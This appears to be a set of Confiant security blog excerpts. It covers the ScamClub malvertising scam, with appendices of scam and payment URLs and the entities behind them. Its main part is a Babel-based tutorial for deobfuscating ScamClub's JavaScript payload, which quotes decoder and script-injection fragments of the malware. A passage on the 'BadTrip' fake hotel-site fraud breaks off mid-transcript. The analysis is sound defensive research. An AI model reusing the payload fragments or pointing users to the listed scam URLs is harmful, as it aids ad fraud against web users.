ScamClub serves malicious ads which forcefully redirect the victim’s browser to a page that deceives them into believing they won a prize they must pay a small fee for or they have malware that requires a paid service to fix. The claims are false and ScamClub’s landing pages impersonate brands including Google, T-Mobile, Xfinity, Wind, and more to lead the victim into to believe its claims. After they click through ScamClub’s landing page, they are brought to the entities landing page to enter more details including payment information. The victims in the end purchase something from the entity completely unrelated to the promises on ScamClub’s landing page. The entities ScamClub is in business with misrepresent the payment page as a one time payment, when the purchase initiates a subscription with routine payments which increase in price. This purchase results in profits for ScamClub because they get payed for the victims they direct towards their business partners offers.

Appendix A — ScamClub Landing Page URLs

http://neonaturaleco.top/bonus/com-africa-8811/za-lp2.php?c=4rz79n4hz69z1&k=a9faa70c7bb0ada3576fcb0378cb10ce
http://eu.cybershieldscan.monster/fr/dt/mcafee-2.php?c=4gz16j7gbz0z5&k=63baa3498e555cfa43522f69b1100c06&1696607985
http://goodthingsperday.space/bonus/com-it-7891/lp2.php?c=4gz16jck0z0z0&k=0b071542eb148035915323d54fd299b8

Appendix B —Entity Landing Page URLs

https://bestooffersfinder.net/l/EOsWwcmxJsvAJnneHVqo?offer_id=10253&p_id=&s1=10246fe8a5ecc6a2365ac0539ad560&s2=1043&s3=16507&s4=#rafl&%23nt
https://letsgame.site/l/OOMVVLNP1K0xDIw77Oas/payment?token=eyJpdiI6IkxzenFDeUVMTjkyZnBaWVVqREFLY2c9PSIsInZhbHVlIjoibUMvL3ZMaFlJUkF5WmhxK0hMa08rOTJPeWwwdU1ZcnZSQjVTMHp6Q3E2WT0iLCJtYWMiOiI2M2EzMjEyMWJiYWY2YzViNzg4MzAyNzA5N2NmMjIxODg4Y2FkYWNlMWE2MDI1MGIzNWE1ZGJmYjI2OGVmYjY2IiwidGFnIjoiIn0%3D&_luuid=39ef237f-8cf5-45f2-bf5d-d1e6873b1c24&_sid=eyJpdiI6Im1EdjRkS2N6QzFadzlIaWdRUzdJUEE9PSIsInZhbHVlIjoid25Sa1N2TC9GdENrRjgxVUE1dEJGLzViSlBGMXdIWnhsbVZoRmdiU2FiZDd3TXp1ei80NmdSS0txTzMxVTBrNVgweDNwMHMvbU5YVlhodHAxdk9LZ0E9PSIsIm1hYyI6IjI1MGExZmMxOGM4YmE5MTZmM2I3MTlkMGQ0NWU3ZjVlNjBhMmNkNmQ4Y2VhODI2NWFiNDc3YmEyMjBiOWU4NjkiLCJ0YWciOiIifQ%3D%3D
https://gogaming.vip/r/vn9xLJXwsS2hhcObc/d5b3c76a-a77a-4ca0-93f8-c3343fe36299/payment?token=eyJpdiI6IlRIYitqai81ZERrSDhXUGZhbUlnTEE9PSIsInZhbHVlIjoiZ29QSW4vREdOcVRXUXdvK2prdks3WmZReXlRTGFnN3lVTmRMcDFuZVQ0bz0iLCJtYWMiOiIyOGQ5ZGM4YjhjN2YxMzQ3Mjk5YTE5N2Q2YjViZWUyZWNmYmNiYjA2NWFlYTQwNmI3MGM5YTBmYTFlOGZiNDhhIiwidGFnIjoiIn0%3D&_luuid=c3b1034c-f701-48c8-8a4b-b2dc6abc1af5&_sid=eyJpdiI6IjZDMS92VDFCeEd2Z096NGtwVitsUXc9PSIsInZhbHVlIjoiOElGWC9tWWJLOE9KYlZ4dVRKK0E1TmFpcTRxS2ROaVN6YVRMZVhDRGFVbmFaZmg1dVRmLzl3ZWhSSmEvMitSQm1BRjM5dm0rNTE0NG1CSG90dFVKUkE9PSIsIm1hYyI6IjQyOWM4YWUxNzU1ZjhiZDFhMGQyYWIwNDdhNTg4NDY2YTYxZmRkMTQxMzhiMTJlZThmMmZlNjI2MzU3NDdjMGQiLCJ0YWciOiIifQ%3D%3D#payment-section

Appendix C— Entities

RPPRO LLC. Found via osint(1309 Coffeen Avenue STE 1200 Sheridan, Wyoming 82801, US)
Crative Peace Makings LLC. Found via osint(2847 S INGRAM MILL RD, STE A100, SPRINGFIELD, MO, 65804)
Martway limited, kosta xenofontos 5, lakatamia, 2335, nicosia, cyprus.
Etronik llc, 4758 ridge road # 110 brooklyn oh 44144.
Ckop llc, 2710 del prado blvd. s#2–274 cape coral, fl. us 33904.

Exploring ScamClub Payloads via Deobfuscation Using Abstract Syntax Trees

Confiant — Wed, 27 Sep 2023 21:38:00 GMT

Originally written by BOZOSLIVEHERE

Introduction

ScamClub is a prolific threat actor in the programmatic ad space known to carry out large-scale attacks with the purpose of scamming and defrauding their victims. ScamClub utilizes real-time bidding (RTB) integration with ad exchanges to push malicious JavaScript payloads upstream to their potential victims. These payloads attempt to forcefully redirect victims to any number of fraudulent pages such as phishing pages, gift card scams, giveaway scams, and more. More information about the ScamClub threat landscape and their modus operandi can be found in the ScamClub threat report.

In this article, we’ll go over the de-obfuscation of the short version of the ScamClub stage two payload.

Payload Analysis

The ScamClub payloads come in three stages. The first stage is the creative, which is only lightly obfuscated and leads to the second stage — a payload that does the fingerprinting of potential victims to determine whether or not to continue with the forced redirects. The second stage of the ScamClub payloads comes in two distinct versions: short and long. The longer version of the payload contains everything present in the short version with some additional fingerprinting techniques. Interestingly, the long version of the payload has certain fingerprinting functions implemented but never called. In addition, the fingerprinting functions present in the short version are expanded upon to improve detection of security products or other evidence that the payload is being analyzed by an adversary.

The third stage of the ScamClub attack is the payload which performs the forced redirect attacks. A more in-depth analysis of the deobfuscated payload can be found in the ScamClub threat report and will be covered in even more depth in a future blog.

Obfuscation

All stages and versions of the ScamClub payload are obfuscated by the attackers using the same obfuscator. The obfuscator used by ScamClub is not available on the open internet, but has been observed to be used by various Chinese threat actors. The obfuscator uses two different layers of obfuscation. The first layer simply contains the second layer encoded with some basic encoding/encryption and is not heavily obfuscated per se. Once the first layer is decoded, we are presented with the second layer that uses some interesting obfuscation tricks to make the analysis of the sample more difficult. It should be noted that the first layer is encoded randomly, containing different variable names, function names, and encryption primitives in each sample. This makes signature-based detection more difficult completely eliminates the possibility of hash-based detection.

In order to completely deobfuscate ScamClub payloads, we are going to be writing a deobfuscator using the Babel library. Babel is a transpiler for JavaScript. A transpiler is a compiler that takes as input the source code of one language and produces as its output functionally-equivalent source code for the same language or another. Babel includes a parser that produces Abstract Syntax Trees (ASTs) for the source code it parses. We can use these ASTs to look for obfuscation techniques in the structure of the source code and convert them to deobfuscated, highly-readable source code. First, however, we need to unwrap the first layer of encoding to get to the obfuscation tricks used by the next layer to make the resulting decoded source code unreadable.

Obfuscation Layer 1 — Random Encoding

The payload’s first layer of obfuscation looks like the following. Note that the encryption constants, variable names, and function names are different every time the payload is generated.

First, the payload sets up a function rmH that is used to decrypt the two long, encrypted strings seen later in the payload. These strings, once decrypted, contain the JavaScript code that is used to execute the rest of the payload. The first string looks like the following snippet when decrypted:

var n = 14,
    b = 15,
    t = 62;
var x = “abcdefghijklmnopqrstuvwxyz”;
var k = [89, 75, 82, 76, 80, 94, 70, 71, 90, 86, 72, 60, 66, 85, 88, 74, 65, 79, 87, 81];
var a = [];
for (var u = 0; u < k.length; u++) a[k[u]] = u + 1;
var l = [];
n += 19;
b += 78;
t += 34;
for (var j = 0; j < arguments.length; j++) {
    var o = arguments[j].split(” “);
    for (var z = o.length - 1; z >= 0; z--) {
        var r = null;
        var v = o[z];
        var f = null;
        var d = 0;
        var c = v.length;
        var y;
        for (var p = 0; p < c; p++) {
            var m = v.charCodeAt(p);
            var h = a[m];
            if (h) {
                r = (h - 1) * b + v.charCodeAt(p + 1) - n;
                y = p;
                p++;
            } else if (m == t) {
                r = b * (k.length - n + v.charCodeAt(p + 1)) + v.charCodeAt(p + 2) - n;
                y = p;
                p += 2;
            } else {
                continue;
            }
            if (f == null) f = [];
            if (y > d) f.push(v.substring(d, y));
            f.push(o[r + 1]);
            d = p + 1;
        }
        if (f != null) {
            if (d < c) f.push(v.substring(d));
            o[z] = f.join(”“);
        }
    }
    l.push(o[0]);
}
var g = l.join(”“);
var e = [92, 39, 10, 96, 32, 42].concat(k);
var w = String.fromCharCode(46);
for (var u = 0; u < e.length; u++)
    g = g.split(w + x.charAt(u)).join(String.fromCharCode(e[u]));
return g.split(w + “!”).join(w);

As you can see, it is simply another decryption function used to decrypt the
second long string from the payload. Once the second long string is decrypted, we end up with the main script obfuscated with a second layer of anti-analysis techniques.

Let’s modify the original script to output the final decrypted function without executing it. This can be executed in your browser’s console or directly with Node.js:


(function() {
    // Truncated for brevity
    var RGe = ArR(nYr, rmH(tlB));
    var gik = RGe(rmH(’Nn}K0W6aY4)-{b(K%[...’));
    console.log(beautify(gik, {indent_size: 2}));
})();

Here are the results:

Obfuscation Layer Two— Obfuscated Main Script

Running the modified script above gives us the preceding output, which includes several interesting obfuscation tricks designed to make the analysis of the payloads a difficult and time-consuming process.

Now that we’ve reached the second layer of obfuscation, we see some new
obfuscation techniques that are not only encoding, but tricks designed to make the analysis of the script more tedious. Let’s go over them one by one.

String Encryption

All strings in the obfuscated payload are encrypted. Once the payload is run, all of the strings are decrypted at once and put into an array and any time a string is needed, the array is referenced. This makes the reading of the code extremely difficult as any time a string is needed one must reference the array of strings instead of viewing them directly in place.

var O = (bh)(”tangMa9...”, 865159);

function bh(h, j) {
  // string decryption code
}

function P(a) {
  var f = {},
    d = {};
  f._ = a;
  cg(f);
  var c = bO()[O[24]](O[23])[O[22]](0);
  d._ = bO()[O[26]](O[25]);;
  ch(d);
  ci(d, f);
  c[O[30]](d._)
}

As you can see, all of the strings are decrypted when the payload is run and later, in the function P() they are referenced with the array they are stored in, O. Once the strings are decrypted and placed in-line, P() should look like this:

function P(a) {
  var f = {},
    d = {};
  f._ = a;
  cg(f);
  var c = bO()[”getElementsByTagName”](”head”)[”item”](0);
  d._ = bO()[”createElement”](”script”);
  ;
  ch(d);
  ci(d, f);
  c[”appendChild”](d._);
}

Functions Returning Identifiers

In the function P() above, we can see that a few other functions are called: bO(), cg(), ch(), and ci(). Let’s take a look at the function bO()
first:

function bO() {
  return document
}

There are many functions inside of the obfuscated payload that simply return operators, such as this one. In our deobfuscated code, we need to see those identifiers being referenced directly to make the code more readable. One way is to rename the function to something that makes sense with something like VSCode or any editor with LSP support, but we will be doing this correctly later with Babel. Once we apply our deobfuscation of identifiers wrapped in functions to the script, P() will look even better:

function P(a) {
  var f = {},
    d = {};
  f._ = a;
  cg(f);
  var c = document[”getElementsByTagName”](”head”)[”item”](0);
  d._ = document[”createElement”](”script”);
  ;
  ch(d);
  ci(d, f);
  c[”appendChild”](d._);
}

Binary and Unary Operators in Functions

There are lots of different functions in the obfuscated code that wrap binary and unary operators with functions, making the code much more difficult to read. Let’s take a look at another function, =bd()=, and the functions it calls:

function bd(d, f) {
  var a = bq((bo(d, 0xFFFF)), (bo(f, 0xFFFF)));
  var c = bq((bx(d, 16)) + (bx(f, 16)), (bx(a, 16)));
  return bk((bu(c, 16)), (bo(a, 0xFFFF)))
}

function bq(a, c) {
  return a + c
}

function bo(a, c) {
  return a & c
}

function bx(a, c) {
  return a >> c
}

function bk(a, c) {
  return a | c
}

function bu(a, c) {
  return a << c
}

As you can see, the functions bq(), bo(), bx(), bk(), and bu() all wrap simple operators in functions. The function bd() sure would look better and be easier to read with those operators in-line, as such:

function bd(d, f) {
  var a = (d & 0xFFFF) + (f & 0xFFFF);
  var c = ((d >> 16) + (f >> 16)) + (a >> 16);
  return (c << 16) | (a & 0xFFFF);
}

Now that we’ve taken a look at all of the different obfuscation techniques used, let’s start figuring out how to remove them automatically one by one using Babel.

Babel

Babel is a transcompiler for JavaScript that includes a parser and transformer that we can use for our deobfuscator. Babel uses the Visitor Pattern, a software design pattern in which you create visitors, functions that are run against all elements of an Abstract Syntax Tree (AST). Using the visitor pattern, we go down the source tree, visiting every node, and apply our logic to that node to change the obfuscated code into something more readable.

In addition to a parser, Babel also contains a generator. This will allow us to generate code to replace the obfuscated code with something easier to analyze as well as generate code from our ASTs to run in the Node.js VM.

Abstract Syntax Trees

The Babel library can be used to parse our source code and produce Abstract Syntax Trees. These ASTs will be useful in defining the structure of the different techniques used by the obfuscation tool employed by ScamClub. Let’s take a look at the very first function and generate an AST for it:

function bO() {
  return document
}

This function simply returns another identifier and nothing more. Let’s generate an AST for it using the AST Explorer web tool:

{
  “type”: “FunctionDeclaration”,
  “id”: {
    “type”: “Identifier”,
    “name”: “bO”
  },
  “params”: [],
  “body”: {
    “type”: “BlockStatement”,
    “body”: [
      {
        “type”: “ReturnStatement”,
        “argument”: {
          “type”: “Identifier”,
          “name”: “document”
        }
      }
    ]
  }
}

Note that the output from the AST Explorer tool has been simplified — the tool returns much more information than listed above, but for the sake of brevity and clarity we have removed information such as line and column numbers. If you would like to see the whole output, see the results from the AST Explorer tool.

The AST returned includes information about the name of the function, the type of statement it includes, the contents of that statement — in this case, a return statement — and the identifier returned. In order to write our deobfuscator, we will need to define generic ASTs for all of the different obfuscation techniques used.

Get BOZOSLIVEHERE’s stories in your inbox

Join Medium for free to get updates from this writer.

In the obfuscated payloads, there are many different functions that simply
return an identifier — whether that identifier is a keyword such as window or console or a variable defined by the script itself. In order to make this AST generic, we want something like this:

{
  “type”: “FunctionDeclaration”,
  “id”: {
    “type”: “Identifier”,
    “name”: String                  // Any string
  },
  “params”: [],                     // length 0
  “body”: {
    “type”: “BlockStatement”,
    “body”: [
      {
        “type”: “ReturnStatement”,
        “argument”: {
          “type”: “Identifier”,
          “name”: String            // Any string
        }
      }
    ]
  }
}

We will later apply logic that matches this generic AST to transform the obfuscated code into something more readable using Babel.

Writing our Deobfuscator — Import Modules & Setup

First, we need to set up the modules we’ll be using. We will use babel/parser, babel/traverse, babel/generator, js-beautify, and the built-ins vm and fs. In addition we will use commander to parse our command-line options.

const parser = require(”@babel/parser”);
const traverse = require(”@babel/traverse”).default;
const t = require(”@babel/types”);
const generate = require(”@babel/generator”).default;

const beautify = require(”js-beautify”);

const { readFileSync, writeFile } = require(”fs”);
const vm = require(”vm”);

const { program } = require(’commander’);

program
  .option(’-f, --file ’);
program.parse();
const options = program.opts();

Next we need to configure the parser. In some ScamClub samples, the return keyword is used outside of a function, which causes Babel to break and complain about the incorrect use of return. To fix this, we need to enable the allowReturnOutsideFunction option:

const parserOptions = {
  plugins: [’@babel/plugin-syntax-jsx’],
  allowReturnOutsideFunction: true,
};

Let’s parse the code into an AST and set up a context for the VM we will use to execute parts of ScamClub’s code in order to decrypt layer 1 of the obfuscation as well as the strings in layer 2:

let code = readFileSync(options.file, “utf8”)
let ast = parser.parse(code, parserOptions);
const decryptFuncCtx = vm.createContext();

Deobfuscation — Layer One

The first thing we need to do is identify the variable which receives the second layer once decrypted, so that we can execute the variable declaration in the VM and store the results to be able to continue deobfuscation. If we go back to the fully obfuscated code, we see the following line which decrypts this layer of obfuscation so that the script can continue to execute the second layer of obfuscated code.

    var gik = RGe(rmH(’...’));

Taking a look at the rest of the code, we need to try to see what makes this
line unique from all others so that we can use a specific pattern to reliably match the AST and identify this line in all versions of ScamClub payloads. This line is the only line which matches the pattern VariableDeclaration
SomeVar=SomeFunc1(SomeFunc2(StringLiteral)). Now, let’s take a look at the AST of this line:

{
    “body”: [
        {
        “type”: “VariableDeclaration”,
        “declarations”: [
            {
            “type”: “VariableDeclarator”,
            “id”: {
                “type”: “Identifier”,
                “identifierName”: “gik”,
                “name”: “gik”
            },
            “init”: {
                “type”: “CallExpression”,
                “callee”: {
                    “type”: “Identifier”,
                    “identifierName”: “RGe”,
                    “name”: “RGe”
                },
                “arguments”: [
                {
                    “type”: “CallExpression”,
                    “callee”: {
                        “type”: “Identifier”,
                        “identifierName”: “rmH”,
                        “name”: “rmH”
                    },
                    “arguments”: [
                    {
                        “type”: “StringLiteral”
                    }
                    ]
                }
                ]
            }
            }
        ],
        “kind”: “var”
        }
    ]
}

Now we’re going to create our first visitor. This visitor should look for a
VariableDeclaration type node whose init type is CallExpression. The first argument’s type should also be CallExpression.

let stage2DecodedVarName = null;
const variableInitIdentifierVisitor = {
  VariableDeclaration(path) {
    const init = path.node.declarations[path.node.declarations.length - 1].init;
    if(init && init.type === “CallExpression”) {
      const callee = init.arguments[0].callee;
      const argType = init.arguments[0].type
      if (argType === “CallExpression”) {
        stage2DecodedVarName = path.node.declarations[0].id.name;
      }
    }
  }
};
traverse(ast, variableInitIdentifierVisitor); // Run visitor against AST

This visitor will traverse the whole script, stopping at each VariableDeclaration type node to check if the AST matches the pattern we’re looking for. Once the pattern is found, we store the name of the variable being declared into stage2DecodedVarName. In the case of the script we’re working on, the variable name is gik.

Using the VM to Decrypt Layer Two

Now we need run the code relevant to the decryption of the next layer in our VM context. In order to do this, we will want to run all VariableDeclaration nodes and the FunctionDeclaration nodes relevant to decryption.

let layer2Decoded = null
const decryptLayer2Visitor = {
  // We need to execute all VariableDeclaration nodes into our context
  VariableDeclaration(path) { // Run all variable declarations in the decrypt context
    const varDecCode = generate(path.node).code; // Generate the code to execute in context
    vm.runInContext(varDecCode, decryptFuncCtx); // Execute the decryption function delcaration in VM context
    if (path.node.declarations[0].id.name == stage2DecodedVarName) {
      decodeLayer2Code = generate(path.node.declarations[0].id).code;
      layer2Decoded = vm.runInContext(decodeLayer2Code, decryptFuncCtx)
      path.stop(); // Stop execution fo the visitor now that we’ve received the information we’re looking for
    }
  },

  // We also need the FunctionDeclaration node to be executed in our context to be used
  FunctionDeclaration(path) {
    const funcDecCode = generate(path.node).code; // Generate the code to execute in context
    vm.runInContext(funcDecCode, decryptFuncCtx); // Execute the decryption function delcaration in VM context
    path.remove() // Remove the decryption function since it has served its use
  },
};

traverse(ast, decryptLayer2Visitor);

By running the VariableDeclaration and FunctionDeclaration nodes in our VM, we now have the variables and functions available to be executed within our VM context. In the case that the name of the variable being declared in the current node being visited matches stage2DecodedVarName, we generate some code to return the value of the variable after it’s been declared. This is our decoded second layer. Now let’s get this layer ready for further analysis:

// parse our newly decoded layer 2 into its AST
let ast_layer2 = parser.parse(layer2Decoded)
// set up a new VM context for layer 2
const layer2Ctx = vm.createContext()
// Beautify code
layer2Decoded = beautify(layer2Decoded, {
  indent_size: 2,
  space_in_empty_paren: true,
});

Layer Two

Now we can start taking a look at layer two of the obfuscation. This is where the actual script itself executes and does its fingerprinting and insertion of a script element containing the forced redirect script. A number of different obfuscation techniques are used in the second layer, and we’ll go over making visitors to deobfuscate them one by one.

Decrypting & Replacing Encrypted Strings In-Line

Let’s go back and take a look at the String Encryption section. Let’s make an
AST out of the string decryption line and take a look at its structure so that
we can build a visitor to decrypt the strings:

var O = (bh)(”tangMa9...”, 865159);

  {
    “type”: “VariableDeclaration”,
    “declarations”: [
      {
        “type”: “VariableDeclarator”,
        “id”: {
          “type”: “Identifier”,
          “name”: “O”
        },
        “init”: {
          “type”: “CallExpression”,
          “callee”: {
            “type”: “Identifier”,
            “name”: “bh”,
          },
          “arguments”: [
            {
              “type”: “StringLiteral”,
              “extra”: {
                “rawValue”: “tangMa9...”,
                “raw”: “\”tangMa9...\”“
              },
              “value”: “tangMa9...”
            },
            {
              “type”: “NumericLiteral”,
              “value”: 865159
            }
          ]
        }
      }
    ],
    “kind”: “var”
  }

Taking a look at this AST and the rest of the code, note that this line is the
only line which matches an AST like VariableDeclaration Identifier =
CallExpression(StringLiteral, NumericLiteral). Let’s make a visitor that looks for this pattern and then executes the string decryption function inside of the VM in order to give us the list of encrypted strings. Later, we’ll replace the references to O (the strings array in the sample we’re working with here) in-line to make the code more readable. We’ll also need to first set up the VM context for layer two, so we’ll create a short visitor to run all FunctionDeclaration nodes inside of our VM context. Running these nodes imports them into the context without actually executing them, allowing us to execute them later on to decrypt layer two.

let layer2DecryptedStringsVariableName = null;
let layer2DecryptedStrings = null;

const setupLayer2Context = {
  // First, we need to run all function declarations in our context so that we
  // can run the decryption function
  FunctionDeclaration(path) {
    const functionCode = generate(path.node).code
    vm.runInContext(functionCode, layer2Ctx)
  }
}

const findEncryptedStringVisitor = {
   VariableDeclaration(path) {
    const init = path.node.declarations[path.node.declarations.length - 1].init; // Get initialization of last defined variable

    if (init && init.type === “CallExpression”) {
      const args = init.arguments
      if(args.length == 2 && args[0].type === “StringLiteral” && args[1].type === “NumericLiteral”) {

        layer2DecryptedStringsVariableName = path.node.declarations[0].id.name

        const decryptCode = generate(init).code;
        layer2DecryptedStrings = vm.runInContext(decryptCode, layer2Ctx);
        path.remove() // we are going to replace string references inline, remove this path
        path.stop() // we’ve found our decrypted layer 2 variable, stop the visitor
      }
    }
  }
}

traverse(ast_layer2, setupLayer2Context)
traverse(ast_layer2, findEncryptedStringVisitor)

Next, we’ll need to write a visitor that replaces all references to the variable
containing the array of strings with the string itself in-line. Let’s take a look at the AST for one of these references:

j = O[2];

  {
    “type”: “ExpressionStatement”,
    “expression”: {
      “type”: “AssignmentExpression”,
      “operator”: “=”,
      “left”: {
        “type”: “Identifier”,
        “name”: “j”
      },
      “right”: {
        “type”: “MemberExpression”,
        “object”: {
          “type”: “Identifier”,
          “name”: “O”
        },
        “computed”: true,
        “property”: {
          “type”: “NumericLiteral”,
          “extra”: {
            “rawValue”: 2,
            “raw”: “2”
          },
          “value”: 2
        }
      }
    }
  }

So we’re looking for MemberExpression nodes and the value of the property field, its NumericLiteral, used to index the array.

const encryptedStringReferencesVisitor = {
  MemberExpression(path) {
    if(path.node.object.name === layer2DecryptedStringsVariableName) {
      stringId = path.node.property.value;
      path.replaceWith(t.valueToNode(layer2DecryptedStrings[stringId]));
    }
  }
}

traverse(ast_layer2, encryptedStringReferencesVisitor)

This visitor looks for MemberExpression nodes whose name field is equal to the name of the strings array variable we identified in the previous visitor. We then use the function replaceWith() to replace it with the appropriate string, converted to a node with valueToNode().

Replacing Operators and Identifiers In-Line

Now we’re going to write a more complex visitor with some sub-visitors to replace functions that contain simple operators/identifiers with their operator/identifier in-line. Let’s take a look at the three different types of functions we’ll be looking for:

// Unary operators
function cc(a) {
  return -a
}

// Binary operators
function bv(a, c) {
  return a == c
}

// Identifiers
function bY() {
  return window
}

Unary Operators

First, let’s take a look at the unary operator function’s AST:

  {
    “type”: “FunctionDeclaration”,
    “id”: {
      “type”: “Identifier”,
      “name”: “cc”
    },
    “generator”: false,
    “async”: false,
    “params”: [
      {
        “type”: “Identifier”,
        “name”: “a”
      }
    ],
    “body”: {
      “type”: “BlockStatement”,
      “body”: [
        {
          “type”: “ReturnStatement”,
          “argument”: {
            “type”: “UnaryExpression”,
            “operator”: “-”,
            “prefix”: true,
            “argument”: {
              “type”: “Identifier”,
              “name”: “a”
            }
          }
        }
      ],
      “directives”: []
    }
  }

All of our different types of obfuscated operators and identifiers will follow a similar pattern. We’re looking for a FunctionDeclaration whose body type is BlockStatement. The body of the first item of the body of the BlockStatement should be of type ReturnStatement for all function types above. Let’s go ahead and start creating our visitor:

const operatorsIdentifiersVisitor = {
  FunctionDeclaration(path) {
    const functionName = path.node.id.name;
    if(path.node.body.type === “BlockStatement”
       && path.node.body.body[0].type === “ReturnStatement”) {
      const returnBody = path.node.body.body[0]

Here we’re looking for any and all FunctionDeclaration nodes that match the pattern described above. We’ll save the first element of the body of the ReturnStatement in the returnBody variable in order to use it later. Next, we want to check the type of the argument of returnBody to see if it’s of type UnaryExpression. If it is, we’ll go ahead and create a new sub-visitor to look for all CallExpression nodes that are calling the function containing the unary operator we’re trying to deobfuscate. Once the visitor lands on a matching CallExpression, we will replace that node with a node that uses the operator directly. The function containing the operator is removed from the AST.

      if(returnBody.argument.type === “UnaryExpression”) {
        const replaceExpandedUnaryOperatorVisitor = {
          CallExpression(path2) {
            if(path2.node.callee.name === functionName) {
              const inlineOperatorCode =
                    generate({
                      “type”: “UnaryExpression”,
                      “operator”: returnBody.argument.operator,
                      “argument”: path2.node.arguments[0] // Use the variable name the CallExpression uses as an argument
                    }).code
              path2.replaceWithSourceString(inlineOperatorCode);

            }
          }
        }
        traverse(ast_layer2, replaceExpandedUnaryOperatorVisitor)
        path.remove()
      }

After running the visitor against our code, we will see all calls of functions
such as cc() above replaced with their corresponding operator in-line:

// before
var c = cc(271733879);

// after
var c = -271733879;

Binary Operators

Now we’re going to take a look at functions that wrap BinaryExpression type nodes. Let’s take a look at the body of the function bv():

{
  “body”: {
    “type”: “BlockStatement”,
    “body”: [
      {
        “type”: “ReturnStatement”,
        “argument”: {
          “type”: “BinaryExpression”,
          “left”: {
            “type”: “Identifier”,
            “name”: “a”
          },
          “operator”: “==”,
          “right”: {
            “type”: “Identifier”,
            “name”: “c”
          }
        }
      }
    ],
  }
}

As you can see, a BinaryExpression node has a left, an operator, and a right. We can use this to write a visitor that goes to all CallExpression
nodes and puts the operator in-line:

      else if(returnBody.argument.type === “BinaryExpression”
         && returnBody.argument.left.type === “Identifier”
         && returnBody.argument.right.type === “Identifier”) {
        const replaceExpandedBinaryOperatorVisitor = {
          CallExpression(path2) {
            if(path2.node.callee.name == functionName) {
              const inlineOperatorCode = generate(
                {
                  “type”: “BinaryExpression”,
                  “left”: path2.node.arguments[0],
                  “operator”: returnBody.argument.operator,
                  “right”: path2.node.arguments[1]
                }
              ).code;
              path2.replaceWithSourceString(inlineOperatorCode);

            }
          }
        }
        traverse(ast_layer2, replaceExpandedBinaryOperatorVisitor)
        path.remove();
      }

Functions Returning Identifiers

Finally, we’re going to take a look at functions that return identifiers. The function bY() above returns only the identifier window. Let’s take a quick look at the body of its AST:

{
  “body”: {
    “type”: “BlockStatement”,
    “body”: [
      {
        “type”: “ReturnStatement”,
        “argument”: {
          “type”: “Identifier”,
          “name”: “window”
        }
      }
    ],
    “directives”: []
  }
}

As you can see, we simply need to look for functions whose returnBody argument type is Identifier and then create a sub-visitor to look for all CallExpression nodes calling that function and replace them with the Identifier node.

      else if(returnBody.argument.type === “Identifier”) {
        const replaceExpandedIdentifierVisitor = {
          CallExpression(path2) {
            if(path2.node.callee.name === functionName) {
              const expandedIdentifierCode = generate({
                “type”: “Identifier”,
                “name”: returnBody.argument.name
              }).code;
              path2.replaceWithSourceString(inlineIdentifierCode);
            }
          }
        }
        traverse(ast_layer2, replaceExpandedIdentifierVisitor)
        path.remove()
      }

After this, we need to close out the visitor operatorsIdentifiersVisitor and run it against our layer two AST. Finally, we generate the code for the AST and output it to the console:

    }
  }
}
traverse(ast_layer2, operatorsIdentifiersVisitor)

console.log(generate(ast_layer2).code)

Final Deobfuscator & Deobfuscated Script

The full script to deobfuscate ScamClub payloads up until this point is as follows. Note that there is more that we could do to beautify this and make it even closer to perfect, but at this point we have a reliable deobfuscator that produces a fully-readable output.

And here’s the deobfuscated stage 1 script:

Closing Notes

In this article, we’ve gone from a fully-obfuscated ScamClub payload to a mostly deobfuscated, easy-to-read script that we can now analyze. There are some other things that can be done to make it even more readable, but for the purposes of understanding what the script does, we’ve reached a good point.

In the next article in this series, we’ll go over the long version of the ScamClub payload, which contains the same obfuscation tricks as well as some new ones. We’ll go over the additional things that could make these payloads even more readable, as well as the new tricks the longer version of the payload implements. In another, we will go over the analysis of the deobfuscated payloads including the fingerprinting techniques and exploits used.

I hope this post is helpful in your deobfuscation adventures. For any questions, you can reach me on any of the following:

Email: gregory@confiant.com
Mastodon: @bozoslivehere@ioc.exchange
Matrix: @bozoslivehere:matrix.org

BadTrip: A chain of fake travel sites abuses search ads to commit fraud and credential theft

Confiant — Wed, 17 May 2023 18:13:00 GMT

Originally written by Daniel Fonseca Yarochewsky

Successful malvertising campaigns have two key components: cloaking and churn. Normal security efforts will look at a few websites coming from persuasive and commercial ads and conclude they’re probably legit businesses. Scammers exploit this fundamental flaw to scale up their campaigns all while managing to stay undercover among the sea of new domains that might look unrelated at first sight. However, like everything on the Internet, scale is the most expensive cost of every initiative. In code, comfortable scalability costs pattern matching, which in turn costs a scammer its most precious asset: its facade.

I’ll explain. Here’s a seemingly dumb line of code:

Granted, there’s nothing too weird in having that on your landing page. But for us, it provides a key piece of intelligence that informs that this website is probably templated, i.e. it was made from a skeleton that ought to be replaced to fit someone’s specific needs. Many blogs, single-page business sites, and other small enterprises build sites that come from templates. In malvertising, combining template signals with other techniques reveals scale, and when ten websites, each of a different hotel, all look the same, it comes off as fraud.

And in fact, that’s how we came across this attacker. The ads themselves look oddly vague — “call for reservations”, “fast reservations”. No mentioning of brands or purpose. What am I reserving?

When engaged, victims are taken to templated hotel landing pages:

fake hotel landing page

fake hotel landing page showing rooms

None of the buttons are clickable and nothing is actually reservable from the sites. At the bottom, one dead giveaway these are indeed scams — the addresses, all in Florida, were stolen from real hotels:

bottom of page showing stolen address

screenshots of the real hotels from which the addresses were stolen

So, we asked ourselves, what is the final verdict? With a sense of anticipation, we took that one crucial step, only to be met with overwhelming frustration. It was an abrupt dead end, a crushing blow to our hopes: “The number you called is incorrect or disconnected.” The phone numbers displayed on those websites, mere illusions, nonexistent in reality.

Something was still off. Why would you buy search ads, set up fake hotels pages when your only money-making, conversion avenue is broken? Where’s their so-called “money page”? It had to be a number.

Sure enough, testing the sites on US mobile devices immediately fired up a URN that prompts your device to call the real, shock, cloaked numbers!

“drive-by-call’ redirect

Behind the scenes, it’s an HTTP 302 response:

{                  
    “_transferSize”: 434,
    “status”: 302,
    “statusText”: “Found”,
    “httpVersion”: “HTTP/1.1”,
    “headers”: [
        {
            “name”: “Location”,
            “value”: “tel:+18784330168”
        }
    ]
}

And the fun begins. Here’s the transcript of our very pleasant chat with one of the very helpful operators:

0:01
Thank you for calling press 5 to continue.

1:42
Mhm.

1:45
Reservations.

1:47
Hello I would like to make a reservation for a hotel in Portland.

1:56
You would like to book a hotel.

2:03
So you’re speaking with the consolidators who help you to book the 
reservation for the flight?

2:10
Oh okay.

2:13
I need a flight too.

2:19
Alright and which city you’re flying from?

2:22
Newark, New Jersey?

2:28
Okay.

2:30
I’m flying to Portland, Oregon.

2:39
You will fly from John F Kennedy.

2:42
No from Newark, New Jersey.

2:49
And how many people are flying?

2:55
What you are going out?

2:59
next Wednesday that’s the 8th.

3:05
Okay.

3:07
